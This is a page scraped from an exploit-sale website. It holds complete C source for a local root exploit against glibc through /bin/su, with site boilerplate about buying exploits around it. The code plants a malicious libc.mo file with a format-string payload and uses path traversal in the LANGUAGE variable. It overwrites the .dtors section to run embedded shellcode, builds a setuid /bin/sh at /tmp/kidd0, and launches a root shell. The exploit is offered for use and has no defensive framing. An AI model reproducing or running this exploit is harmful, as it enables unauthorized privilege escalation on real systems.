0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GLIBC (via /bin/su) Local Root Exploit
====================================== GLIBC (via /bin/su) Local Root Exploit ====================================== /* * * Working exploit for glibc executing /bin/su * * To exploit this i have used a technique that * overwrites the .dtors section of /bin/su program * with the address of the shellcode, so, the program * executes it when main returns or exit() is called * * Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for * explaining me this technique :) * * The address of .dtors section can be easily obtained * with objdump -h filename. * * One the address of .dtors is known, the shellcode is * pushed in a env var with a lot of nops, and the size * of the "piece" of stack that must be "eaten" is calculated * with a loop. At this point, we know the exact values of * all parameters exept the address of the shellcode, but this * value can be guessed with a little work :) * * Tested on: Red Hat 6.2, 6.1 * SuSE 6.2 * * Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY... * (y todos los que me olvido) * * * Doing / localcore - doing@netsearch-ezine.com * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <getopt.h> #include <dirent.h> char *shellcode = "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb" "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a" "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47" "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89" "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63" "\x30" "chown root /tmp/kidd0;chmod 4777 /tmp/kidd0"; char *LC_MESSAGES = "/tmp/LC_MESSAGES"; int NOP_LEN = 12000; char *msgfmt = "/usr/bin/msgfmt"; char *objdump = "/usr/bin/objdump"; char *language = NULL; char *make_format_string(unsigned long, int, int); unsigned long get_dtors_addr(); char *make_ret_str(unsigned long, int); void calculate_eat_space(int *, int *); void checkfor(char*); void make_suid_shell(); void search_valid_language(); int main(int argc, char **argv) { char execbuf[1024]; unsigned long dtors_addr = 0xAABBCCDD; unsigned long sh_addr = 0xBFFFFFFF; FILE *f; char *env[3]; char *args[6]; int eat = 0, pad = 0, fd; char *nop_env; int offset = 5000; struct stat st; int pid, c; char randfile[1024]; char *args2[2], opt; printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n"); printf("Usage: %s [options]\n", argv[0]); printf(" -o offset [default: 5000]\n"); printf(" -n nops [default: 12000]\n"); printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n"); printf(" -O path to objdump [default: /usr/bin/objdump]\n"); printf(" -e eat:pad set eat and pad values [default: calculate them]\n"); printf(" -l language set language used in env var [default: search it]\n"); printf("Enjoy!\n\n"); while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF) switch(opt) { case 'o': offset = atoi(optarg); break; case 'n': NOP_LEN = atoi(optarg); break; case 'm': msgfmt = strdup(optarg); break; case 'O': objdump = strdup(optarg); break; case 'e': sscanf(optarg, "%i:%i", &eat, &pad); break; case 'l': language = (char*) malloc(40 + strlen(optarg)); if (!language) { printf("malloc failed\naborting\n"); exit(0); } memset(language, 0, 40 + strlen(optarg)); sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg); break; default: exit(0); } printf("Phase 1. Checking paths and write permisions\n"); printf(" Checking for %s...", msgfmt); checkfor(msgfmt); printf(" Checking for %s...", objdump); checkfor(objdump); printf(" Checking write permisions on /tmp..."); if (stat("/tmp", &st) < 0) { printf("failed. cannot stat /tmp\naborting\n"); exit(0); } if (!(st.st_mode & S_IWOTH)) { printf("failed. /tmp it's not +w\naborting\n"); exit(0); } printf("Ok\n"); fflush(stdout); printf(" Checking read permisions on /bin/su..."); if (stat("/bin/su", &st) < 0) { printf("failed. cannot stat /bin/su\naborting\n"); exit(0); } if (!(st.st_mode & S_IROTH)) { printf("failed. /bin/su it's not +r\naborting\n"); exit(0); } printf("Ok\n"); fflush(stdout); if (!language) { printf(" Checking for a valid language..."); search_valid_language(); printf("Ok\n"); } printf(" Checking that %s does not exist...", LC_MESSAGES); if (stat(LC_MESSAGES, &st) >= 0) { printf("failed. %s exists\naborting\n", LC_MESSAGES); exit(0); } printf("Ok\n"); fflush(stdout); printf("Phase 2. Calculating eat and pad values\n "); srand(time(NULL)); if (eat || pad) printf("skkiping, values set by user to eat = %i and pad = %i\n", eat, pad); else { calculate_eat_space(&eat, &pad); printf("done\n eat = %i and pad = %i\n", eat, pad); } fflush(stdout); sh_addr -= offset; printf("Phase 3. Creating evil libc.mo and setting enviroment vars\n"); fflush(stdout); mkdir(LC_MESSAGES, 0755); chdir(LC_MESSAGES); f = fopen("libc.po", "w+"); if (!f) { perror("fopen()"); exit(0); } fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n"); fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0)); fclose(f); sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt); system(execbuf); nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1); if (!nop_env) { printf("malloc failed\naborting\n"); exit(0); } memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1); sprintf(&nop_env[NOP_LEN], "%s", shellcode); env[0] = language; env[1] = NULL; printf("Phase 4. Getting address of .dtors section of /bin/su\n "); dtors_addr = get_dtors_addr(); printf("done\n .dtors is at 0x%08x\n", dtors_addr); fflush(stdout); printf("Phase 5. Compiling suid shell\n"); fflush(stdout); make_suid_shell(); printf("Phase 6. Executing /bin/su\n"); fflush(stdout); args[0] = "/bin/su"; args[1] = "-"; args[2] = make_ret_str(dtors_addr, pad); args[3] = "-w"; args[4] = nop_env; args[5] = NULL; sprintf(randfile, "/tmp/tmprand%i", rand()); if (!(pid = fork())) { close(1); close(2); fd = open(randfile, O_CREAT | O_RDWR); dup2(fd, 1); dup2(fd, 2); execve(args[0], args, env); printf("failed to exec /bin/su\n"); exit(0); } if (pid < 0) { perror("fork()"); exit(0); } waitpid(pid, &c, 0); unlink(randfile); stat("/tmp/kidd0", &st); if (!(S_ISUID & st.st_mode)) { printf("failed to put mode 4777 to /tmp/kidd0\naborting\n"); exit(0); } printf(" - Entering rootshell ;-) -\n"); fflush(stdout); if (!(pid = fork())) { args2[0] = "/tmp/kidd0"; args2[1] = NULL; execve(args2[0], args2, NULL); printf("failed to exec /tmp/kidd0\n"); exit(0); } if (pid < 0) { perror("fork()"); exit(0); } waitpid(pid, &c, 0); printf("Phase 7. Cleaning enviroment\n"); sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES); system(execbuf); } char ret_make_format[0xffff]; char *make_format_string(unsigned long sh_addr, int eat, int test) { char *ret = ret_make_format; int c, waste; int hi, lo; memset(ret, 0, 0xffff); for (c = 0; c < eat; c++) strcat(ret, "%8x"); waste = 8 * eat; hi = (sh_addr & 0xffff0000) >> 16; lo = (sh_addr & 0xffff) - hi; if (!test) { sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste); sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo); } else strcat(ret, "%8x *0x%08x* %8x *0x%08x*"); return ret; } unsigned long get_dtors_addr() { char exec_buf[1024]; char file[128]; char buf[1024], sect[1024]; FILE *f; unsigned long ret = 0, tmp1, tmp2, tmp3; sprintf(file, "/tmp/tmprand%i", rand()); sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file); system(exec_buf); f = fopen(file, "r"); if (!f) { perror("fopen()"); exit(0); } while (!feof(f)) { fgets(buf, 1024, f); sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3); printf("."); fflush(stdout); if (strcmp(sect, "dtors")) continue; ret = tmp3; break; } unlink(file); if (!ret) { printf("error getting the address of .dtors\naborting"); exit(0); } return ret+4; } char ret_make_ret_str[0xffff]; char *make_ret_str(unsigned long dtors_addr, int pad) { char *ret = ret_make_ret_str, *ptr2; unsigned long *ptr = (unsigned long*) ret; int c; memset(ret, 0, 0xffff); *ptr = dtors_addr+2; *(ptr+1) = 0xAABBCCDD; *(ptr+2) = dtors_addr; ptr2 = &ret[strlen(ret)]; while (pad--) *(ptr2++) = 0xaa; return ret; } void calculate_eat_space(int *eatr, int *padr) { int eat = 0, pad = 0; char tmpfile[128]; FILE *f; char execbuf[1024]; int fds[2], tmpfd; unsigned long test_value = 0xAABBCCDD; char *nop_env; char *env[2]; char *args[6]; char buf[1024]; int l, pid; struct stat st; char *readbuf = NULL, *token; unsigned long t1, t2; tmpfile[0] = '\0'; nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1); if (!nop_env) { printf("malloc failed\naborting\n"); exit(0); } memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1); sprintf(&nop_env[NOP_LEN], "%s", shellcode); for (eat = 50; eat < 200; eat++) { for (pad = 0; pad < 4; pad++) { if (tmpfile[0]) unlink(tmpfile); chdir("/"); sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); mkdir(LC_MESSAGES, 0755); chdir(LC_MESSAGES); f = fopen("libc.po", "w+"); if (!f) { perror("fopen()"); exit(0); } fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n"); fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat, 1)); fclose(f); sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo", msgfmt); system(execbuf); pipe(&fds); if (!(pid = fork())) { close(fds[0]); close(1); close(2); dup2(fds[1], 1); dup2(fds[1], 2); env[0] = language; env[1] = NULL; args[0] = "/bin/su"; args[1] = "-"; args[2] = make_ret_str(test_value, pad); args[3] = "-w"; args[4] = nop_env; args[5] = NULL; execve(args[0], args, env); } if (pid < 0) { perror("fork()"); exit(0); } close(fds[1]); sprintf(tmpfile, "/tmp/tmprand%i", rand()); tmpfd = open(tmpfile, O_RDWR | O_CREAT); if (tmpfd < 0) { perror("open()"); exit(0); } while ((l = read(fds[0], buf, 1024)) > 0) write(tmpfd, buf, l); close(tmpfd); waitpid(pid, &l, 0); stat(tmpfile, &st); chmod(tmpfile, 0777); f = fopen(tmpfile, "r"); if (!f) { perror("fopen()"); exit(0); } if (readbuf) free(readbuf); readbuf = (char*) malloc(st.st_size); if (!readbuf) { printf("malloc failed\naborting\n"); exit(0); } memset(readbuf, 0, st.st_size); fread(readbuf, 1, st.st_size, f); fclose(f); token = strtok(readbuf, "*"); if (!token) continue; token = strtok(NULL, "*"); if (!token) continue; t1 = strtoul(token, NULL, 16); token = strtok(NULL, "*"); if (!token) continue; token = strtok(NULL, "*"); if (!token) continue; t2 = strtoul(token, NULL, 16); if (t2 == test_value) if (t1 == (test_value+2)) { *eatr = eat; *padr = pad; sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); if (tmpfile[0]) unlink(tmpfile); return; } // sleep(10); } printf("."); fflush(stdout); } if (tmpfile[0]) unlink(tmpfile); sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); printf("failed to calculate eat and pad values. glibc patched or invalid language?\naborting\n"); exit(0); } void checkfor(char *p) { int fd; fd = open(p, O_RDONLY); if (fd < 0) { printf("failed\naborting\n"); exit(0); } close(fd); printf("Ok\n"); fflush(stdout); } void make_suid_shell() { FILE *f; char execbuf[1024]; f = fopen("/tmp/kidd0.c", "w"); if (!f) { printf(" failed to create /tmp/kidd0.c\naborting\n"); exit(0); } fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\"); }"); fclose(f); sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0"); system(execbuf); sprintf(execbuf, "rm -f /tmp/kidd0.c"); system(execbuf); f = fopen("/tmp/kidd0", "r"); if (!f) { printf(" failed to compile /tmp/kidd0.c\naborting\n"); exit(0); } fclose(f); printf(" /tmp/kidd0 created Ok\n"); fflush(stdout); } void search_valid_language() { DIR *locale; struct dirent *dentry; locale = opendir("/usr/share/locale"); if (!locale) { perror("failed to opendir /usr/share/locale"); printf("aborting\n"); exit(0); } while (dentry = readdir(locale)) { if (!strchr(dentry->d_name, '_')) continue; language = (char*) malloc(40 + strlen(dentry->d_name)); if (!language) { printf("malloc failed\naborting\n"); exit(0); } memset(language, 0, 40 + strlen(dentry->d_name)); sprintf(language, "LANGUAGE=%s/../../../../../../tmp", dentry->d_name); closedir(locale); printf(" [using %s] ", dentry->d_name); return; } printf("failed to find a valid language\naborting\n"); exit(0); } # 0day.today [2024-09-28] #